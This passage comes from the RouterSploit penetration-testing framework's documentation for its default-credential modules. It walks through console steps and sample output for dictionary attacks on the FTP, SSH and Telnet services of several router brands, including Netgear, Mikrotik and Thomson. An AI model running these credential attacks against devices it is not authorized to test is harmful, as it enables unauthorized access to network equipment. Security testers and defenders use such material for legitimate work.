Authentication Failed - Username: 'admin' Password: '12345' [-] SSH Authentication Failed - Username: 'admin' Password: '123456' [-] SSH Authentication Failed - Username: 'Admin' Password: '12345' [-] SSH Authentication Failed - Username: 'Admin' Password: '123456' [+] SSH Authentication Successful - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 2.3932292461395264 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 22 ssh admin admin ``` routersploit-master/docs/modules/creds/routers/linksys/telnet_default_creds.md000066400000000000000000000026001400750623600305230ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Linksys Router Telnet service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/routers/linksys/telnet_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/routers/linksys/telnet_default_creds rsf (Linksys Router Default Telnet Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Linksys Router Default Telnet Creds) > run [*] Running module... [*] Target exposes Telnet service [*] Starting default credentials attack against Telnet service [*] thread-0 thread is starting... [-] Telnet Authentication Failed - Username: 'admin' Password: 'admin' [-] Telnet Authentication Failed - Username: '1234' Password: '1234' [-] Telnet Authentication Failed - Username: 'root' Password: '12345' [-] Telnet Authentication Failed - Username: 'root' Password: 'root' [+] Telnet Authentication Successful - Username: 'user' Password: 'user' [*] thread-0 thread is terminated. [*] Elapsed time: 5.389287948608398 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 23 telnet user user ``` routersploit-master/docs/modules/creds/routers/mikrotik/000077500000000000000000000000001400750623600241615ustar00rootroot00000000000000routersploit-master/docs/modules/creds/routers/mikrotik/ftp_default_creds.md000066400000000000000000000025021400750623600301570ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Mikrotik Router FTP service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/routers/mikrotik/ftp_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/routers/mikrotik/ftp_default_creds rsf (Mikrotik Router Default FTP Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Mikrotik Router Default FTP Creds) > run [*] Running module... [*] Target exposes FTP service [*] Starting attack against FTP service [*] thread-0 thread is starting... [-] Authentication Failed - Username: 'admin' Password: '12345' [-] Authentication Failed - Username: 'admin' Password: '123456' [-] Authentication Failed - Username: 'Admin' Password: '12345' [-] Authentication Failed - Username: 'Admin' Password: '123456' [+] Authenticated Succeed - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 0.06290411949157715 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 21 ftp admin admin ``` routersploit-master/docs/modules/creds/routers/mikrotik/ssh_default_creds.md000066400000000000000000000025551400750623600301730ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Mikrotik Router SSH service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/routers/mikrotik/ssh_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/routers/mikrotik/ssh_default_creds rsf (Mikrotik Router Default SSH Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Mikrotik Router Default SSH Creds) > run [*] Running module... [*] Target exposes SSH service [*] Starting default credentials attack against SSH service [*] thread-0 thread is starting... [-] SSH Authentication Failed - Username: 'admin' Password: '12345' [-] SSH Authentication Failed - Username: 'admin' Password: '123456' [-] SSH Authentication Failed - Username: 'Admin' Password: '12345' [-] SSH Authentication Failed - Username: 'Admin' Password: '123456' [+] SSH Authentication Successful - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 2.3932292461395264 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 22 ssh admin admin ``` routersploit-master/docs/modules/creds/routers/mikrotik/telnet_default_creds.md000066400000000000000000000026051400750623600306650ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Mikrotik Router Telnet service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/routers/mikrotik/telnet_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/routers/mikrotik/telnet_default_creds rsf (Mikrotik Router Default Telnet Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Mikrotik Router Default Telnet Creds) > run [*] Running module... [*] Target exposes Telnet service [*] Starting default credentials attack against Telnet service [*] thread-0 thread is starting... [-] Telnet Authentication Failed - Username: 'admin' Password: 'admin' [-] Telnet Authentication Failed - Username: '1234' Password: '1234' [-] Telnet Authentication Failed - Username: 'root' Password: '12345' [-] Telnet Authentication Failed - Username: 'root' Password: 'root' [+] Telnet Authentication Successful - Username: 'user' Password: 'user' [*] thread-0 thread is terminated. [*] Elapsed time: 5.389287948608398 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 23 telnet user user ``` routersploit-master/docs/modules/creds/routers/movistar/000077500000000000000000000000001400750623600241745ustar00rootroot00000000000000routersploit-master/docs/modules/creds/routers/movistar/ftp_default_creds.md000066400000000000000000000025021400750623600301720ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Movistar Router FTP service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/routers/movistar/ftp_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/routers/movistar/ftp_default_creds rsf (Movistar Router Default FTP Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Movistar Router Default FTP Creds) > run [*] Running module... [*] Target exposes FTP service [*] Starting attack against FTP service [*] thread-0 thread is starting... [-] Authentication Failed - Username: 'admin' Password: '12345' [-] Authentication Failed - Username: 'admin' Password: '123456' [-] Authentication Failed - Username: 'Admin' Password: '12345' [-] Authentication Failed - Username: 'Admin' Password: '123456' [+] Authenticated Succeed - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 0.06290411949157715 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 21 ftp admin admin ``` routersploit-master/docs/modules/creds/routers/movistar/ssh_default_creds.md000066400000000000000000000025551400750623600302060ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Movistar Router SSH service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/routers/movistar/ssh_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/routers/movistar/ssh_default_creds rsf (Movistar Router Default SSH Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Movistar Router Default SSH Creds) > run [*] Running module... [*] Target exposes SSH service [*] Starting default credentials attack against SSH service [*] thread-0 thread is starting... [-] SSH Authentication Failed - Username: 'admin' Password: '12345' [-] SSH Authentication Failed - Username: 'admin' Password: '123456' [-] SSH Authentication Failed - Username: 'Admin' Password: '12345' [-] SSH Authentication Failed - Username: 'Admin' Password: '123456' [+] SSH Authentication Successful - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 2.3932292461395264 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 22 ssh admin admin ``` routersploit-master/docs/modules/creds/routers/movistar/telnet_default_creds.md000066400000000000000000000026051400750623600307000ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Movistar Router Telnet service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/routers/movistar/telnet_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/routers/movistar/telnet_default_creds rsf (Movistar Router Default Telnet Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Movistar Router Default Telnet Creds) > run [*] Running module... [*] Target exposes Telnet service [*] Starting default credentials attack against Telnet service [*] thread-0 thread is starting... [-] Telnet Authentication Failed - Username: 'admin' Password: 'admin' [-] Telnet Authentication Failed - Username: '1234' Password: '1234' [-] Telnet Authentication Failed - Username: 'root' Password: '12345' [-] Telnet Authentication Failed - Username: 'root' Password: 'root' [+] Telnet Authentication Successful - Username: 'user' Password: 'user' [*] thread-0 thread is terminated. [*] Elapsed time: 5.389287948608398 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 23 telnet user user ``` routersploit-master/docs/modules/creds/routers/netcore/000077500000000000000000000000001400750623600237675ustar00rootroot00000000000000routersploit-master/docs/modules/creds/routers/netcore/ftp_default_creds.md000066400000000000000000000024751400750623600277760ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Netcore Router FTP service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/routers/netcore/ftp_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/routers/netcore/ftp_default_creds rsf (Netcore Router Default FTP Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Netcore Router Default FTP Creds) > run [*] Running module... [*] Target exposes FTP service [*] Starting attack against FTP service [*] thread-0 thread is starting... [-] Authentication Failed - Username: 'admin' Password: '12345' [-] Authentication Failed - Username: 'admin' Password: '123456' [-] Authentication Failed - Username: 'Admin' Password: '12345' [-] Authentication Failed - Username: 'Admin' Password: '123456' [+] Authenticated Succeed - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 0.06290411949157715 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 21 ftp admin admin ``` routersploit-master/docs/modules/creds/routers/netcore/ssh_default_creds.md000066400000000000000000000025501400750623600277740ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Netcore Router SSH service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/routers/netcore/ssh_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/routers/netcore/ssh_default_creds rsf (Netcore Router Default SSH Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Netcore Router Default SSH Creds) > run [*] Running module... [*] Target exposes SSH service [*] Starting default credentials attack against SSH service [*] thread-0 thread is starting... [-] SSH Authentication Failed - Username: 'admin' Password: '12345' [-] SSH Authentication Failed - Username: 'admin' Password: '123456' [-] SSH Authentication Failed - Username: 'Admin' Password: '12345' [-] SSH Authentication Failed - Username: 'Admin' Password: '123456' [+] SSH Authentication Successful - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 2.3932292461395264 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 22 ssh admin admin ``` routersploit-master/docs/modules/creds/routers/netcore/telnet_default_creds.md000066400000000000000000000026001400750623600304660ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Netcore Router Telnet service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/routers/netcore/telnet_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/routers/netcore/telnet_default_creds rsf (Netcore Router Default Telnet Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Netcore Router Default Telnet Creds) > run [*] Running module... [*] Target exposes Telnet service [*] Starting default credentials attack against Telnet service [*] thread-0 thread is starting... [-] Telnet Authentication Failed - Username: 'admin' Password: 'admin' [-] Telnet Authentication Failed - Username: '1234' Password: '1234' [-] Telnet Authentication Failed - Username: 'root' Password: '12345' [-] Telnet Authentication Failed - Username: 'root' Password: 'root' [+] Telnet Authentication Successful - Username: 'user' Password: 'user' [*] thread-0 thread is terminated. [*] Elapsed time: 5.389287948608398 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 23 telnet user user ``` routersploit-master/docs/modules/creds/routers/netgear/000077500000000000000000000000001400750623600237555ustar00rootroot00000000000000routersploit-master/docs/modules/creds/routers/netgear/ftp_default_creds.md000066400000000000000000000024751400750623600277640ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Netgear Router FTP service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/routers/netgear/ftp_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/routers/netgear/ftp_default_creds rsf (Netgear Router Default FTP Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Netgear Router Default FTP Creds) > run [*] Running module... [*] Target exposes FTP service [*] Starting attack against FTP service [*] thread-0 thread is starting... [-] Authentication Failed - Username: 'admin' Password: '12345' [-] Authentication Failed - Username: 'admin' Password: '123456' [-] Authentication Failed - Username: 'Admin' Password: '12345' [-] Authentication Failed - Username: 'Admin' Password: '123456' [+] Authenticated Succeed - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 0.06290411949157715 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 21 ftp admin admin ``` routersploit-master/docs/modules/creds/routers/netgear/ssh_default_creds.md000066400000000000000000000025501400750623600277620ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Netgear Router SSH service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/routers/netgear/ssh_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/routers/netgear/ssh_default_creds rsf (Netgear Router Default SSH Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Netgear Router Default SSH Creds) > run [*] Running module... [*] Target exposes SSH service [*] Starting default credentials attack against SSH service [*] thread-0 thread is starting... [-] SSH Authentication Failed - Username: 'admin' Password: '12345' [-] SSH Authentication Failed - Username: 'admin' Password: '123456' [-] SSH Authentication Failed - Username: 'Admin' Password: '12345' [-] SSH Authentication Failed - Username: 'Admin' Password: '123456' [+] SSH Authentication Successful - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 2.3932292461395264 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 22 ssh admin admin ``` routersploit-master/docs/modules/creds/routers/netgear/telnet_default_creds.md000066400000000000000000000026001400750623600304540ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Netgear Router Telnet service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/routers/netgear/telnet_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/routers/netgear/telnet_default_creds rsf (Netgear Router Default Telnet Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Netgear Router Default Telnet Creds) > run [*] Running module... [*] Target exposes Telnet service [*] Starting default credentials attack against Telnet service [*] thread-0 thread is starting... [-] Telnet Authentication Failed - Username: 'admin' Password: 'admin' [-] Telnet Authentication Failed - Username: '1234' Password: '1234' [-] Telnet Authentication Failed - Username: 'root' Password: '12345' [-] Telnet Authentication Failed - Username: 'root' Password: 'root' [+] Telnet Authentication Successful - Username: 'user' Password: 'user' [*] thread-0 thread is terminated. [*] Elapsed time: 5.389287948608398 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 23 telnet user user ``` routersploit-master/docs/modules/creds/routers/netsys/000077500000000000000000000000001400750623600236555ustar00rootroot00000000000000routersploit-master/docs/modules/creds/routers/netsys/ftp_default_creds.md000066400000000000000000000024701400750623600276570ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Netsys Router FTP service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/routers/netsys/ftp_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/routers/netsys/ftp_default_creds rsf (Netsys Router Default FTP Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Netsys Router Default FTP Creds) > run [*] Running module... [*] Target exposes FTP service [*] Starting attack against FTP service [*] thread-0 thread is starting... [-] Authentication Failed - Username: 'admin' Password: '12345' [-] Authentication Failed - Username: 'admin' Password: '123456' [-] Authentication Failed - Username: 'Admin' Password: '12345' [-] Authentication Failed - Username: 'Admin' Password: '123456' [+] Authenticated Succeed - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 0.06290411949157715 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 21 ftp admin admin ``` routersploit-master/docs/modules/creds/routers/netsys/ssh_default_creds.md000066400000000000000000000025431400750623600276640ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Netsys Router SSH service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/routers/netsys/ssh_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/routers/netsys/ssh_default_creds rsf (Netsys Router Default SSH Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Netsys Router Default SSH Creds) > run [*] Running module... [*] Target exposes SSH service [*] Starting default credentials attack against SSH service [*] thread-0 thread is starting... [-] SSH Authentication Failed - Username: 'admin' Password: '12345' [-] SSH Authentication Failed - Username: 'admin' Password: '123456' [-] SSH Authentication Failed - Username: 'Admin' Password: '12345' [-] SSH Authentication Failed - Username: 'Admin' Password: '123456' [+] SSH Authentication Successful - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 2.3932292461395264 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 22 ssh admin admin ``` routersploit-master/docs/modules/creds/routers/netsys/telnet_default_creds.md000066400000000000000000000025731400750623600303650ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Netsys Router Telnet service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/routers/netsys/telnet_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/routers/netsys/telnet_default_creds rsf (Netsys Router Default Telnet Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Netsys Router Default Telnet Creds) > run [*] Running module... [*] Target exposes Telnet service [*] Starting default credentials attack against Telnet service [*] thread-0 thread is starting... [-] Telnet Authentication Failed - Username: 'admin' Password: 'admin' [-] Telnet Authentication Failed - Username: '1234' Password: '1234' [-] Telnet Authentication Failed - Username: 'root' Password: '12345' [-] Telnet Authentication Failed - Username: 'root' Password: 'root' [+] Telnet Authentication Successful - Username: 'user' Password: 'user' [*] thread-0 thread is terminated. [*] Elapsed time: 5.389287948608398 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 23 telnet user user ``` routersploit-master/docs/modules/creds/routers/pfsense/000077500000000000000000000000001400750623600237735ustar00rootroot00000000000000routersploit-master/docs/modules/creds/routers/pfsense/ftp_default_creds.md000066400000000000000000000024751400750623600300020ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against PFSense Router FTP service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/routers/pfsense/ftp_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/routers/pfsense/ftp_default_creds rsf (PFSense Router Default FTP Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (PFSense Router Default FTP Creds) > run [*] Running module... [*] Target exposes FTP service [*] Starting attack against FTP service [*] thread-0 thread is starting... [-] Authentication Failed - Username: 'admin' Password: '12345' [-] Authentication Failed - Username: 'admin' Password: '123456' [-] Authentication Failed - Username: 'Admin' Password: '12345' [-] Authentication Failed - Username: 'Admin' Password: '123456' [+] Authenticated Succeed - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 0.06290411949157715 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 21 ftp admin admin ``` routersploit-master/docs/modules/creds/routers/pfsense/ssh_default_creds.md000066400000000000000000000025501400750623600300000ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against PFSense Router SSH service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/routers/pfsense/ssh_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/routers/pfsense/ssh_default_creds rsf (PFSense Router Default SSH Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (PFSense Router Default SSH Creds) > run [*] Running module... [*] Target exposes SSH service [*] Starting default credentials attack against SSH service [*] thread-0 thread is starting... [-] SSH Authentication Failed - Username: 'admin' Password: '12345' [-] SSH Authentication Failed - Username: 'admin' Password: '123456' [-] SSH Authentication Failed - Username: 'Admin' Password: '12345' [-] SSH Authentication Failed - Username: 'Admin' Password: '123456' [+] SSH Authentication Successful - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 2.3932292461395264 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 22 ssh admin admin ``` routersploit-master/docs/modules/creds/routers/pfsense/telnet_default_creds.md000066400000000000000000000026001400750623600304720ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against PFSense Router Telnet service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/routers/pfsense/telnet_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/routers/pfsense/telnet_default_creds rsf (PFSense Router Default Telnet Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (PFSense Router Default Telnet Creds) > run [*] Running module... [*] Target exposes Telnet service [*] Starting default credentials attack against Telnet service [*] thread-0 thread is starting... [-] Telnet Authentication Failed - Username: 'admin' Password: 'admin' [-] Telnet Authentication Failed - Username: '1234' Password: '1234' [-] Telnet Authentication Failed - Username: 'root' Password: '12345' [-] Telnet Authentication Failed - Username: 'root' Password: 'root' [+] Telnet Authentication Successful - Username: 'user' Password: 'user' [*] thread-0 thread is terminated. [*] Elapsed time: 5.389287948608398 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 23 telnet user user ``` routersploit-master/docs/modules/creds/routers/technicolor/000077500000000000000000000000001400750623600246415ustar00rootroot00000000000000routersploit-master/docs/modules/creds/routers/technicolor/ftp_default_creds.md000066400000000000000000000025211400750623600306400ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Technicolor Router FTP service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/routers/technicolor/ftp_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/routers/technicolor/ftp_default_creds rsf (Technicolor Router Default FTP Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Technicolor Router Default FTP Creds) > run [*] Running module... [*] Target exposes FTP service [*] Starting attack against FTP service [*] thread-0 thread is starting... [-] Authentication Failed - Username: 'admin' Password: '12345' [-] Authentication Failed - Username: 'admin' Password: '123456' [-] Authentication Failed - Username: 'Admin' Password: '12345' [-] Authentication Failed - Username: 'Admin' Password: '123456' [+] Authenticated Succeed - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 0.06290411949157715 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 21 ftp admin admin ``` routersploit-master/docs/modules/creds/routers/technicolor/ssh_default_creds.md000066400000000000000000000025741400750623600306540ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Technicolor Router SSH service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/routers/technicolor/ssh_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/routers/technicolor/ssh_default_creds rsf (Technicolor Router Default SSH Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Technicolor Router Default SSH Creds) > run [*] Running module... [*] Target exposes SSH service [*] Starting default credentials attack against SSH service [*] thread-0 thread is starting... [-] SSH Authentication Failed - Username: 'admin' Password: '12345' [-] SSH Authentication Failed - Username: 'admin' Password: '123456' [-] SSH Authentication Failed - Username: 'Admin' Password: '12345' [-] SSH Authentication Failed - Username: 'Admin' Password: '123456' [+] SSH Authentication Successful - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 2.3932292461395264 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 22 ssh admin admin ``` routersploit-master/docs/modules/creds/routers/technicolor/telnet_default_creds.md000066400000000000000000000026241400750623600313460ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Technicolor Router Telnet service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/routers/technicolor/telnet_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/routers/technicolor/telnet_default_creds rsf (Technicolor Router Default Telnet Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Technicolor Router Default Telnet Creds) > run [*] Running module... [*] Target exposes Telnet service [*] Starting default credentials attack against Telnet service [*] thread-0 thread is starting... [-] Telnet Authentication Failed - Username: 'admin' Password: 'admin' [-] Telnet Authentication Failed - Username: '1234' Password: '1234' [-] Telnet Authentication Failed - Username: 'root' Password: '12345' [-] Telnet Authentication Failed - Username: 'root' Password: 'root' [+] Telnet Authentication Successful - Username: 'user' Password: 'user' [*] thread-0 thread is terminated. [*] Elapsed time: 5.389287948608398 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 23 telnet user user ``` routersploit-master/docs/modules/creds/routers/thomson/000077500000000000000000000000001400750623600240175ustar00rootroot00000000000000routersploit-master/docs/modules/creds/routers/thomson/ftp_default_creds.md000066400000000000000000000024751400750623600300260ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Thomson Router FTP service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/routers/thomson/ftp_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/routers/thomson/ftp_default_creds rsf (Thomson Router Default FTP Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Thomson Router Default FTP Creds) > run [*] Running module... [*] Target exposes FTP service [*] Starting attack against FTP service [*] thread-0 thread is starting... [-] Authentication Failed - Username: 'admin' Password: '12345' [-] Authentication Failed - Username: 'admin' Password: '123456' [-] Authentication Failed - Username: 'Admin' Password: '12345' [-] Authentication Failed - Username: 'Admin' Password: '123456' [+] Authenticated Succeed - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 0.06290411949157715 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 21 ftp admin admin ``` routersploit-master/docs/modules/creds/routers/thomson/ssh_default_creds.md000066400000000000000000000025501400750623600300240ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Thomson Router SSH service. If valid credentials are found, they are displayed to the user. ## Verification Steps 1. Start `./rsf.py` 2. Do: `use creds/routers/thomson/ssh_default_creds` 3. Do: `set target [TargetIP]` 4. Do: `run` 5. If valid credentials are found, they are displayed to the user. ## Scenarios ``` rsf > use creds/routers/thomson/ssh_default_creds rsf (Thomson Router Default SSH Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (Thomson Router Default SSH Creds) > run [*] Running module... [*] Target exposes SSH service [*] Starting default credentials attack against SSH service [*] thread-0 thread is starting... [-] SSH Authentication Failed - Username: 'admin' Password: '12345' [-] SSH Authentication Failed - Username: 'admin' Password: '123456' [-] SSH Authentication Failed - Username: 'Admin' Password: '12345' [-] SSH Authentication Failed - Username: 'Admin' Password: '123456' [+] SSH Authentication Successful - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 2.3932292461395264 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 22 ssh admin admin ``` routersploit-master/docs/modules/creds/routers/thomson/telnet_default_creds.md000066400000000000000000000026001400750623600305160ustar00rootroot00000000000000## Description Module performs dictionary attack with default credentials against Thomson Router Telnet service. If valid 